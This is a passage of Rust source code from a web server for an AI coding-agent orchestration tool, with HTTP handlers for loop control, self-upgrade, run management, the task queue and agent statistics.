1827 pid: status.pid,
1828 current: status.current,
1829 completed: Some(status.completed),
1830 stale_for_secs: age,
1831 }
1832 }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836 blocking(move || {
1837 let reading = daemon::read_status(&ui.home);
1841 let loop_rev = ui.lock_loop().rev;
1845 let update = cached_update_view(&ui.repo);
1846 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847 Ok(Json(HealthView {
1848 version: env!("CARGO_PKG_VERSION"),
1849 home: ui.home.display().to_string(),
1850 queue_rev: ui.queue.revision(),
1851 runs_rev: runs_revision(&ui.runs),
1852 questions_rev: ui.questions.revision(),
1853 talks_rev: ui.talks.revision(),
1854 notifications_rev: ui.notices.revision(),
1855 notifications_unread: ui.notices.count_unread(),
1856 loop_rev,
1857 runs_unreadable: runs_unreadable(&ui.runs),
1858 questions_open: ui.questions.count_open(),
1859 questions_needs_owner: ui.questions.count_needs_owner(),
1860 daemon: DaemonView::of(reading.clone()),
1861 looping: ui.loop_view(reading),
1862 disk: DiskView::of(&ui),
1863 update,
1864 upgrade,
1865 }))
1866 })
1867 .await
1868}
1869
1870#[derive(Debug, Serialize)]
1872struct LoopView {
1873 running: bool,
1875 stopping: bool,
1883 parking: bool,
1891 owned: bool,
1899 repo: String,
1902 merge: Option<String>,
1905 last_error: Option<String>,
1913 daemon: DaemonView,
1916}
1917
1918#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928 pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936 let reading = reading?;
1937 if !reading.running(Timestamp::now()) {
1938 return None;
1939 }
1940 match reading.pid {
1941 Some(pid) if pid == std::process::id() => None,
1942 pid => Some(Self { pid }),
1946 }
1947 }
1948
1949 fn who(&self) -> String {
1952 match self.pid {
1953 Some(pid) => format!("another magi process (pid {pid})"),
1954 None => "another magi process".to_owned(),
1955 }
1956 }
1957}
1958
1959type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965fn launch_daemon(
1967 opts: daemon::Opts,
1968 stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970 Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973#[derive(Debug, Default)]
1975struct LoopState {
1976 live: Option<Live>,
1978 rev: u64,
1986 last_error: Option<String>,
1989 resume_after_handover: bool,
1994}
1995
1996#[derive(Debug)]
1998struct Live {
1999 stop: daemon::Stop,
2001 handle: tokio::task::JoinHandle<()>,
2006 opts: daemon::Opts,
2010}
2011
2012impl Live {
2013 fn alive(&self) -> bool {
2015 !self.handle.is_finished()
2016 }
2017}
2018
2019fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026 state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031 blocking(move || {
2032 let reading = daemon::read_status(&ui.home);
2033 Ok(Json(ui.loop_view(reading)))
2034 })
2035 .await
2036}
2037
2038#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046 running: bool,
2047 #[serde(default)]
2057 park: bool,
2058}
2059
2060async fn loop_post(
2068 State(ui): State<Arc<Ui>>,
2069 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074 blocking(move || {
2075 let reading = daemon::read_status(&ui.home);
2076 let foreign = Foreign::of(reading.as_ref());
2077 if body.running {
2078 ui.start_loop(foreign)?;
2079 } else {
2080 ui.stop_loop(foreign, body.park)?;
2081 }
2082 Ok(Json(ui.loop_view(reading)))
2083 })
2084 .await
2085}
2086
2087#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090 from: String,
2092 to: Option<String>,
2094 parked: Option<String>,
2096 detail: String,
2098}
2099
2100async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124 let reading = daemon::read_status(&ui.home);
2125 if let Some(other) = Foreign::of(reading.as_ref()) {
2126 return Err(ApiError::conflict(format!(
2127 "the loop belongs to {}, so replacing this binary would leave \
2128 that process running an old one against the same queue. Upgrade \
2129 where it was started.",
2130 other.who()
2131 )));
2132 }
2133
2134 if crate::updater::disabled_by_env() {
2140 return Ok((
2141 StatusCode::OK,
2142 Json(UpgradeView {
2143 from: env!("CARGO_PKG_VERSION").to_owned(),
2144 to: None,
2145 parked: None,
2146 detail: format!(
2147 "Automatic updates are disabled by {}. Nothing was parked \
2148 and nothing restarted.",
2149 crate::updater::NO_AUTOUPDATE_ENV
2150 ),
2151 }),
2152 ));
2153 }
2154
2155 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160 let from = env!("CARGO_PKG_VERSION").to_owned();
2161 let latest = match crate::updater::Checker::new(&cfg.update) {
2162 Some(checker) => checker
2163 .newer_release()
2164 .await
2165 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166 None => None,
2167 };
2168 let Some(latest) = latest else {
2169 return Ok((
2170 StatusCode::OK,
2171 Json(UpgradeView {
2172 from,
2173 to: None,
2174 parked: None,
2175 detail: "Already on the newest release. Nothing was parked \
2176 and nothing restarted."
2177 .to_owned(),
2178 }),
2179 ));
2180 };
2181
2182 let parked = ui.park_for_upgrade()?;
2185 let detail = match &parked {
2186 Some(run) => format!(
2191 "Run {} is parking at its next step, which can take as long as \
2192 the step it is on - up to an hour for an implement wave. The \
2193 deck replaces itself once it parks, comes back, and the loop \
2194 carries that run on from where it stopped. Nothing is lost if \
2195 you close this.",
2196 crate::run::short_of(run)
2197 ),
2198 None => "The deck replaces itself and comes back. Nothing was in \
2199 flight to park."
2200 .to_owned(),
2201 };
2202
2203 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207 progress.parked_run = parked.clone();
2208 let _ = updater::write_progress(&ui.home, &progress);
2209
2210 let home = ui.home.clone();
2211 let looping = ui.looping();
2212 tokio::spawn(async move {
2213 if let Err(e) = upgrade_and_restart(home.clone()).await {
2214 tracing::error!("the upgrade did not complete: {e:#}");
2215 lock_or_recover(&looping).resume_after_handover = false;
2216 if let Some(mut progress) = updater::read_progress(&home) {
2217 progress.fail(format!("{e:#}"));
2218 let _ = updater::write_progress(&home, &progress);
2219 }
2220 }
2221 });
2222
2223 Ok((
2224 StatusCode::ACCEPTED,
2225 Json(UpgradeView {
2226 from,
2227 to: Some(latest.tag_name),
2228 parked,
2229 detail,
2230 }),
2231 ))
2232}
2233
2234async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239 crate::updater::run_self_update(true, false, true).await?;
2242 tracing::info!("binary replaced - asking the server to hand over");
2243 if let Some(mut progress) = updater::read_progress(&home) {
2244 progress.advance(updater::Stage::Replaced);
2245 let _ = updater::write_progress(&home, &progress);
2246 }
2247 HANDOVER.notify_one();
2248 Ok(())
2249}
2250
2251#[derive(Debug, Serialize)]
2257struct RunSummary {
2258 id: String,
2259 short: String,
2260 status: String,
2261 done: bool,
2262 instruction: String,
2263 title: String,
2264 repo: String,
2265 repo_name: String,
2266 created_at: String,
2267 updated_at: String,
2268 candidates: usize,
2269 viable: usize,
2270 judges: usize,
2271 winner: Option<char>,
2272 reviews: usize,
2273 quota_losses: usize,
2274 event: Option<String>,
2275 superseded_by: Option<String>,
2280 waiting: bool,
2287 live: crate::run::Liveness,
2291 pr: Option<crate::run::PrRecord>,
2293 unmerged_by_design: bool,
2299}
2300
2301impl RunSummary {
2302 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2303 Self {
2304 id: state.id.clone(),
2305 short: state.short().to_owned(),
2306 status: status_word(state.status),
2307 done: state.status.done(),
2308 unmerged_by_design: state.unmerged_by_design(),
2309 instruction: state.instruction.clone(),
2310 title: title_from(&state.instruction, TITLE_MAX),
2311 repo: state.repo.display().to_string(),
2312 repo_name: state
2313 .repo
2314 .file_name()
2315 .map(|n| n.to_string_lossy().into_owned())
2316 .unwrap_or_default(),
2317 created_at: state.created_at.to_string(),
2318 updated_at: state.updated_at.to_string(),
2319 candidates: state.candidates.len(),
2320 viable: state.viable().len(),
2321 judges: state.config.graph.judges,
2322 winner: state.winner().map(|c| c.label),
2323 reviews: state.reviews.len(),
2324 quota_losses: state.quota.len(),
2325 event: state.events.last().map(|e| e.message.clone()),
2326 waiting,
2327 live,
2328 superseded_by: None,
2331 pr: state.pr.clone(),
2332 }
2333 }
2334}
2335
2336fn status_word(status: RunStatus) -> String {
2339 status.as_str().to_owned()
2343}
2344
2345#[derive(Debug, Deserialize)]
2347struct ListQuery {
2348 #[serde(default)]
2349 limit: Option<usize>,
2350}
2351
2352async fn runs_list(
2353 State(ui): State<Arc<Ui>>,
2354 Query(q): Query<ListQuery>,
2355) -> ApiResult<Json<Vec<RunSummary>>> {
2356 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2357 blocking(move || {
2358 let superseded = ui.queue.superseded();
2359 let open_runs: HashSet<String> = ui
2363 .questions
2364 .list()
2365 .into_iter()
2366 .filter(|q| q.status.open())
2367 .map(|q| q.run)
2368 .collect();
2369 let claimed: HashSet<String> =
2370 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2371 .into_iter()
2372 .map(|c| c.run)
2373 .collect();
2374 let states = run_ids(&ui.runs)
2375 .into_iter()
2376 .filter_map(|id| read_run(&ui.runs, &id).ok())
2381 .take(limit);
2382 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2383 let summaries = summarize(
2384 states,
2385 &open_runs,
2386 &claimed,
2387 &superseded,
2388 |p| probe.borrow_mut().status(p),
2389 |p| probe.borrow_mut().started_at(p),
2390 );
2391 Ok(Json(summaries))
2392 })
2393 .await
2394}
2395
2396fn summarize<I, S, D>(
2402 states: I,
2403 open_runs: &HashSet<String>,
2404 claimed: &HashSet<String>,
2405 superseded: &HashMap<String, String>,
2406 mut status_q: S,
2407 mut identity_q: D,
2408) -> Vec<RunSummary>
2409where
2410 I: IntoIterator<Item = RunState>,
2411 S: FnMut(u32) -> Option<bool>,
2412 D: FnMut(u32) -> Option<String>,
2413{
2414 states
2415 .into_iter()
2416 .map(|state| {
2417 let waiting = open_runs.contains(&state.id);
2418 let live =
2419 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2420 let mut row = RunSummary::of(&state, waiting, live);
2421 row.superseded_by = superseded
2422 .get(&state.id)
2423 .map(String::as_str)
2424 .map(crate::run::short_of)
2425 .map(str::to_owned);
2426 row
2427 })
2428 .collect()
2429}
2430
2431#[derive(Debug, Serialize)]
2438struct RunDetailView {
2439 #[serde(flatten)]
2440 state: RunState,
2441 instruction_md: Vec<md::Node>,
2442 live: crate::run::Liveness,
2457 unmerged_by_design: bool,
2462 superseded_by: Option<String>,
2470 latest_attempt: Option<LatestAttempt>,
2484}
2485
2486#[derive(Debug, Serialize)]
2488struct LatestAttempt {
2489 id: String,
2490 short: String,
2491 resolved: bool,
2502}
2503
2504impl RunDetailView {
2505 fn of(
2506 state: RunState,
2507 live: crate::run::Liveness,
2508 superseded_by: Option<String>,
2509 latest_attempt: Option<LatestAttempt>,
2510 ) -> Self {
2511 Self {
2512 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2513 live,
2514 unmerged_by_design: state.unmerged_by_design(),
2515 superseded_by,
2516 latest_attempt,
2517 state,
2518 }
2519 }
2520}
2521
2522async fn run_detail(
2523 State(ui): State<Arc<Ui>>,
2524 Path(id): Path<String>,
2525) -> ApiResult<Json<RunDetailView>> {
2526 blocking(move || {
2527 let id = resolve_run(&ui.runs, &id)?;
2528 let state = read_run(&ui.runs, &id)?;
2529 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2530 let live = state.liveness(daemon_claims);
2531 let superseded_by = ui
2532 .queue
2533 .superseded_by(&id)
2534 .as_deref()
2535 .map(crate::run::short_of)
2536 .map(str::to_owned);
2537 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2541 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2542 short: head.short().to_owned(),
2543 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2544 id: head.id,
2545 })
2546 });
2547 Ok(Json(RunDetailView::of(
2548 state,
2549 live,
2550 superseded_by,
2551 latest_attempt,
2552 )))
2553 })
2554 .await
2555}
2556
2557async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2566 let (id, unreadable) = {
2567 let ui = Arc::clone(&ui);
2568 blocking(move || {
2569 let id = resolve_run(&ui.runs, &id)?;
2570 match read_run(&ui.runs, &id) {
2571 Ok(state) => {
2572 let in_flight =
2573 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2574 state
2575 .ensure_can_delete(in_flight)
2576 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2577 let dir = ui.runs.join(&id);
2578 std::fs::remove_dir_all(&dir)
2579 .with_context(|| format!("remove run directory {}", dir.display()))?;
2580 Ok((id, false))
2581 }
2582 Err(_) => {
2583 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2587 return Err(ApiError::conflict(format!(
2588 "run {id} is being worked on by a live daemon right now"
2589 )));
2590 }
2591 Ok((id, true))
2592 }
2593 }
2594 })
2595 .await?
2596 };
2597 if unreadable {
2598 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2599 .await
2600 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2601 }
2602 let ui = Arc::clone(&ui);
2603 let done = id.clone();
2604 blocking(move || {
2605 ui.questions.abandon_for_run(
2608 &done,
2609 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2610 )?;
2611 Ok(())
2612 })
2613 .await?;
2614 Ok(StatusCode::NO_CONTENT)
2615}
2616
2617async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2641 let (id, state) = {
2642 let ui = Arc::clone(&ui);
2643 blocking(move || {
2644 let id = resolve_run(&ui.runs, &id)?;
2645 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2646 return Err(ApiError::conflict(format!(
2647 "run {id} is being worked on by a live daemon right now"
2648 )));
2649 }
2650 let state = read_run(&ui.runs, &id).ok();
2651 Ok((id, state))
2652 })
2653 .await?
2654 };
2655 let removed = match state {
2656 Some(mut state) => {
2657 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2658 .await
2659 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2660 if removed.is_empty() {
2665 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 }
2668 removed
2669 }
2670 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2671 .await
2672 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2673 };
2674 Ok(Json(FoldView {
2675 run: id,
2676 removed_count: removed.len(),
2677 removed,
2678 }))
2679}
2680
2681#[derive(Debug, Serialize)]
2683struct FoldView {
2684 run: String,
2685 removed: Vec<String>,
2687 removed_count: usize,
2688}
2689
2690#[derive(Debug, Deserialize)]
2693struct FoldMergedBody {
2694 #[serde(default)]
2695 pr_url: String,
2696}
2697
2698async fn run_fold_merged(
2718 State(ui): State<Arc<Ui>>,
2719 Path(id): Path<String>,
2720 Json(body): Json<FoldMergedBody>,
2721) -> ApiResult<Json<FoldMergedView>> {
2722 let pr_url = body.pr_url.trim().to_owned();
2723 if pr_url.is_empty() {
2724 return Err(ApiError::bad_request("pr_url is required"));
2725 }
2726 let (id, mut state) = {
2727 let ui = Arc::clone(&ui);
2728 blocking(move || {
2729 let id = resolve_run(&ui.runs, &id)?;
2730 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2731 return Err(ApiError::conflict(format!(
2732 "run {id} is being worked on by a live daemon right now"
2733 )));
2734 }
2735 let state = read_run(&ui.runs, &id)?;
2736 Ok((id, state))
2737 })
2738 .await?
2739 };
2740 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2741 .await
2742 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2743 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2744 .await
2745 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2746 Ok(Json(FoldMergedView {
2747 run: id,
2748 before: before.as_str().to_owned(),
2749 after: after.as_str().to_owned(),
2750 removed,
2751 }))
2752}
2753
2754#[derive(Debug, Serialize)]
2756struct FoldMergedView {
2757 run: String,
2758 before: String,
2760 after: String,
2762 removed: Vec<String>,
2764}
2765
2766async fn run_resume(
2786 State(ui): State<Arc<Ui>>,
2787 Path(id): Path<String>,
2788) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2789 let (id, state) = {
2790 let ui = Arc::clone(&ui);
2791 blocking(move || {
2792 let id = resolve_run(&ui.runs, &id)?;
2793 let state = read_run(&ui.runs, &id)?;
2794 Ok((id, state))
2795 })
2796 .await?
2797 };
2798 if let Some(to) = &state.released_to {
2799 return Err(ApiError::conflict(format!(
2800 "run {} can no longer be resumed: its worktree was released to run {}, which \
2801 took the branch over.",
2802 state.short(),
2803 crate::run::short_of(to)
2804 )));
2805 }
2806 if !state.status.resumable() {
2807 return Err(ApiError::conflict(format!(
2808 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2809 state.short(),
2810 status_word(state.status)
2811 )));
2812 }
2813 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2818 .into_iter()
2819 .next()
2820 {
2821 return Err(ApiError::conflict(format!(
2822 "the loop is running run {} right now; stop it first, or wait for \
2823 it to finish, before resuming a run by hand.",
2824 crate::run::short_of(&work.run)
2825 )));
2826 }
2827 let _resume = ui.begin_resume(&id)?;
2828
2829 let queued = RunSummary::of(
2832 &state,
2833 !ui.questions.open_for(&id).is_empty(),
2834 state.liveness(false),
2835 );
2836 let run = id.clone();
2837 tokio::spawn(async move {
2838 let _resume = _resume;
2839 match crate::graph::Runner::resume(&run) {
2840 Ok(mut runner) => {
2841 if let Err(e) = runner.execute().await {
2842 tracing::warn!("resume of run {run} stopped: {e:#}");
2843 }
2844 }
2845 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2848 }
2849 });
2850 Ok((StatusCode::ACCEPTED, Json(queued)))
2851}
2852
2853async fn run_report(
2854 State(ui): State<Arc<Ui>>,
2855 Path(id): Path<String>,
2856) -> ApiResult<impl IntoResponse> {
2857 let text = blocking(move || {
2858 let id = resolve_run(&ui.runs, &id)?;
2859 let state = read_run(&ui.runs, &id)?;
2863 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2864 let live = state.liveness(daemon_claims);
2865 Ok(format!(
2866 "{}{}",
2867 report::run(&state),
2868 report::active_seats(&state, live)
2869 ))
2870 })
2871 .await?;
2872 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2873}
2874
2875#[derive(Debug, Serialize)]
2881struct TaskView {
2882 #[serde(flatten)]
2883 task: Task,
2884 source_label: String,
2885 status_str: &'static str,
2886 instruction_md: Vec<md::Node>,
2890 waits_on: Vec<String>,
2894 stuck_roots: Vec<String>,
2897}
2898
2899impl From<Task> for TaskView {
2900 fn from(task: Task) -> Self {
2901 Self {
2902 source_label: task.source.label(),
2903 status_str: task.status.as_str(),
2904 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2905 waits_on: Vec::new(),
2906 stuck_roots: Vec::new(),
2907 task,
2908 }
2909 }
2910}
2911
2912impl TaskView {
2913 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2914 let waits_on = inv.waits_on(&task);
2915 let stuck_roots = inv
2916 .stuck_roots(&task)
2917 .iter()
2918 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2919 .collect();
2920 Self {
2921 waits_on,
2922 stuck_roots,
2923 ..Self::from(task)
2924 }
2925 }
2926}
2927
2928#[derive(Debug, Default, Deserialize)]
2931#[serde(default)]
2932struct ReposQuery {
2933 refresh: u8,
2934}
2935
2936async fn repos_list(
2943 State(ui): State<Arc<Ui>>,
2944 Query(q): Query<ReposQuery>,
2945) -> ApiResult<Json<Vec<repos::Repo>>> {
2946 let refresh = q.refresh != 0;
2947 blocking(move || {
2948 let (cfg, _) = Config::discover(&ui.repo, None)?;
2949 Ok(Json(ui.repos_cache.list(
2950 &cfg.repos.roots,
2951 Duration::from_secs(cfg.repos.scan_ttl),
2952 refresh,
2953 )))
2954 })
2955 .await
2956}
2957
2958async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2959 blocking(move || {
2960 let tasks = ui.queue.list();
2961 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2962 Ok(Json(
2963 tasks
2964 .into_iter()
2965 .map(|t| TaskView::with_inventory(t, &inv))
2966 .collect(),
2967 ))
2968 })
2969 .await
2970}
2971
2972#[derive(Debug, Serialize)]
2976struct RateView {
2977 pct: f64,
2978 denominator: usize,
2979}
2980
2981impl RateView {
2982 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2983 (denominator > 0).then(|| Self {
2984 pct: 100.0 * numerator as f64 / denominator as f64,
2985 denominator,
2986 })
2987 }
2988}
2989
2990#[derive(Debug, Serialize)]
2995struct StatsTotalsView {
2996 runs: usize,
2997 merged: usize,
2998 ready: usize,
2999 blocked: usize,
3000 failed: usize,
3001 stalled: usize,
3002 verified_noop: usize,
3003 superseded: usize,
3004 in_progress: usize,
3005 completion_rate: Option<RateView>,
3006 tallied: usize,
3007 split: usize,
3008 split_rate: Option<RateView>,
3009 deliberated: usize,
3010 minds_changed: usize,
3011 converged: usize,
3012 review_rounds: usize,
3013}
3014
3015impl From<&stats::Totals> for StatsTotalsView {
3016 fn from(t: &stats::Totals) -> Self {
3017 Self {
3018 runs: t.runs,
3019 merged: t.merged,
3020 ready: t.ready,
3021 blocked: t.blocked,
3022 failed: t.failed,
3023 stalled: t.stalled,
3024 verified_noop: t.verified_noop,
3025 superseded: t.superseded,
3026 in_progress: t.in_progress,
3027 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3028 tallied: t.tallied,
3029 split: t.split,
3030 split_rate: RateView::of(t.split, t.tallied),
3031 deliberated: t.deliberated,
3032 minds_changed: t.minds_changed,
3033 converged: t.converged,
3034 review_rounds: t.review_rounds,
3035 }
3036 }
3037}
3038
3039#[derive(Debug, Serialize)]
3041struct AgentStatsView {
3042 agent: String,
3043 entered: usize,
3044 wins: usize,
3045 empty: usize,
3046 win_rate: Option<RateView>,
3047}
3048
3049impl From<&stats::AgentStats> for AgentStatsView {
3050 fn from(a: &stats::AgentStats) -> Self {
3051 Self {
3052 agent: a.agent.clone(),
3053 entered: a.entered,
3054 wins: a.wins,
3055 empty: a.empty,
3056 win_rate: RateView::of(a.wins, a.entered),
3057 }
3058 }
3059}
3060
3061#[derive(Debug, Serialize)]
3065struct ReviewerStatsView {
3066 agent: String,
3067 rounds: usize,
3068 seated: usize,
3069 submitted: usize,
3070 adopted: usize,
3071 unique: usize,
3072 timeouts: usize,
3073 adopted_per_round: Option<f64>,
3074 precision: Option<RateView>,
3075 unique_rate: Option<RateView>,
3076 timeout_rate: Option<RateView>,
3077}
3078
3079impl From<&stats::ReviewerStats> for ReviewerStatsView {
3080 fn from(r: &stats::ReviewerStats) -> Self {
3081 Self {
3082 agent: r.agent.clone(),
3083 rounds: r.rounds,
3084 seated: r.seated,
3085 submitted: r.submitted,
3086 adopted: r.adopted,
3087 unique: r.unique,
3088 timeouts: r.timeouts,
3089 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3090 precision: RateView::of(r.adopted, r.submitted),
3091 unique_rate: RateView::of(r.unique, r.submitted),
3092 timeout_rate: RateView::of(r.timeouts, r.seated),
3093 }
3094 }
3095}
3096
3097#[derive(Debug, Serialize)]
3103struct AdvisorStatsView {
3104 agent: String,
3105 seated: usize,
3106 proposed: usize,
3107 absent: usize,
3108 faint: usize,
3109 strong: usize,
3110 reflection_rate: Option<RateView>,
3111}
3112
3113impl From<&stats::AdvisorStats> for AdvisorStatsView {
3114 fn from(a: &stats::AdvisorStats) -> Self {
3115 Self {
3116 agent: a.agent.clone(),
3117 seated: a.seated,
3118 proposed: a.proposed,
3119 absent: a.absent,
3120 faint: a.faint,
3121 strong: a.strong,
3122 reflection_rate: RateView::of(a.strong, a.proposed),
3123 }
3124 }
3125}
3126
3127#[derive(Debug, Serialize)]
3129struct E2eStatsView {
3130 rounds: usize,
3131 failures: usize,
3132 sole_detections: usize,
3133 deferred: usize,
3134 sole_rate: Option<RateView>,
3135}
3136
3137impl From<&stats::E2eStats> for E2eStatsView {
3138 fn from(e: &stats::E2eStats) -> Self {
3139 Self {
3140 rounds: e.rounds,
3141 failures: e.failures,
3142 sole_detections: e.sole_detections,
3143 deferred: e.deferred,
3144 sole_rate: RateView::of(e.sole_detections, e.failures),
3145 }
3146 }
3147}
3148
3149#[derive(Debug, Serialize)]
3157struct ReleaseBumpStatsView {
3158 merged: usize,
3159 recorded: usize,
3160 pr_opened: usize,
3161 automerge_enabled: usize,
3162 merged_directly: usize,
3163 needs_attention: usize,
3164 clean: usize,
3165 coverage_rate: Option<RateView>,
3166 automerge_rate: Option<RateView>,
3167 attention_rate: Option<RateView>,
3168}
3169
3170impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3171 fn from(b: &stats::ReleaseBumpStats) -> Self {
3172 Self {
3173 merged: b.merged,
3174 recorded: b.recorded,
3175 pr_opened: b.pr_opened,
3176 automerge_enabled: b.automerge_enabled,
3177 merged_directly: b.merged_directly,
3178 needs_attention: b.needs_attention,
3179 clean: b.clean(),
3180 coverage_rate: RateView::of(b.recorded, b.merged),
3181 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3182 attention_rate: RateView::of(b.needs_attention, b.recorded),
3183 }
3184 }
3185}
3186
3187#[derive(Debug, Serialize)]
3189struct TaskCountsView {
3190 queued: usize,
3191 running: usize,
3192 done: usize,
3193 failed: usize,
3194 held: usize,
3195 blocked: usize,
3196}
3197
3198impl From<crate::queue::TaskCounts> for TaskCountsView {
3199 fn from(c: crate::queue::TaskCounts) -> Self {
3200 Self {
3201 queued: c.queued,
3202 running: c.running,
3203 done: c.done,
3204 failed: c.failed,
3205 held: c.held,
3206 blocked: c.blocked,
3207 }
3208 }
3209}
3210
3211#[derive(Debug, Serialize)]
3217struct RepoSummaryView {
3218 repo: String,
3221 name: String,
3223 runs: usize,
3224 completion_rate: Option<RateView>,
3225}
3226
3227impl From<&stats::RepoStats> for RepoSummaryView {
3228 fn from(r: &stats::RepoStats) -> Self {
3229 let t = &r.stats.totals;
3230 Self {
3231 repo: r.repo.to_string_lossy().into_owned(),
3232 name: r.name.clone(),
3233 runs: t.runs,
3234 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3235 }
3236 }
3237}
3238
3239#[derive(Debug, Serialize)]
3245struct StatsView {
3246 totals: StatsTotalsView,
3247 agents: Vec<AgentStatsView>,
3249 reviewers: Vec<ReviewerStatsView>,
3251 advisors: Vec<AdvisorStatsView>,
3253 e2e: E2eStatsView,
3254 release_bumps: ReleaseBumpStatsView,
3255 queue: TaskCountsView,
3256 runs_unreadable: usize,
3266 repos: Vec<RepoSummaryView>,
3270 repo: Option<String>,
3274}
3275
3276#[derive(Debug, Default, Deserialize)]
3285#[serde(default)]
3286struct StatsQuery {
3287 repo: Option<String>,
3288}
3289
3290async fn stats_get(
3297 State(ui): State<Arc<Ui>>,
3298 Query(q): Query<StatsQuery>,
3299) -> ApiResult<Json<StatsView>> {
3300 blocking(move || {
3301 let states: Vec<RunState> = run_ids(&ui.runs)
3302 .into_iter()
3303 .filter_map(|id| read_run(&ui.runs, &id).ok())
3304 .collect();
3305 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3306 .iter()
3307 .map(RepoSummaryView::from)
3308 .collect();
3309 let collected = match &q.repo {
3310 Some(repo) => {
3311 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3312 if filtered.is_empty() {
3313 return Err(ApiError::not_found(format!(
3314 "no runs recorded against repo `{repo}`"
3315 )));
3316 }
3317 stats::collect_refs(filtered)
3318 }
3319 None => stats::collect(&states),
3320 };
3321 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3322 Ok(Json(StatsView {
3323 totals: StatsTotalsView::from(&collected.totals),
3324 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3325 reviewers: collected
3326 .reviewers
3327 .iter()
3328 .map(ReviewerStatsView::from)
3329 .collect(),
3330 advisors: collected
3331 .advisors
3332 .iter()
3333 .map(AdvisorStatsView::from)
3334 .collect(),
3335 e2e: E2eStatsView::from(&collected.e2e),
3336 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3337 queue: TaskCountsView::from(queue_counts),
3338 runs_unreadable: runs_unreadable(&ui.runs),
3339 repos,
3340 repo: q.repo.clone(),
3341 }))
3342 })
3343 .await
3344}
3345
3346#[derive(Debug, Default, Deserialize)]
3349#[serde(default, deny_unknown_fields)]
3350struct HoldBody {
3351 reason: Option<String>,
3352}
3353
3354async fn queue_hold(
3355 State(ui): State<Arc<Ui>>,
3356 Path(id): Path<String>,
3357 body: std::result::Result<Json<HoldBody>, JsonRejection>,
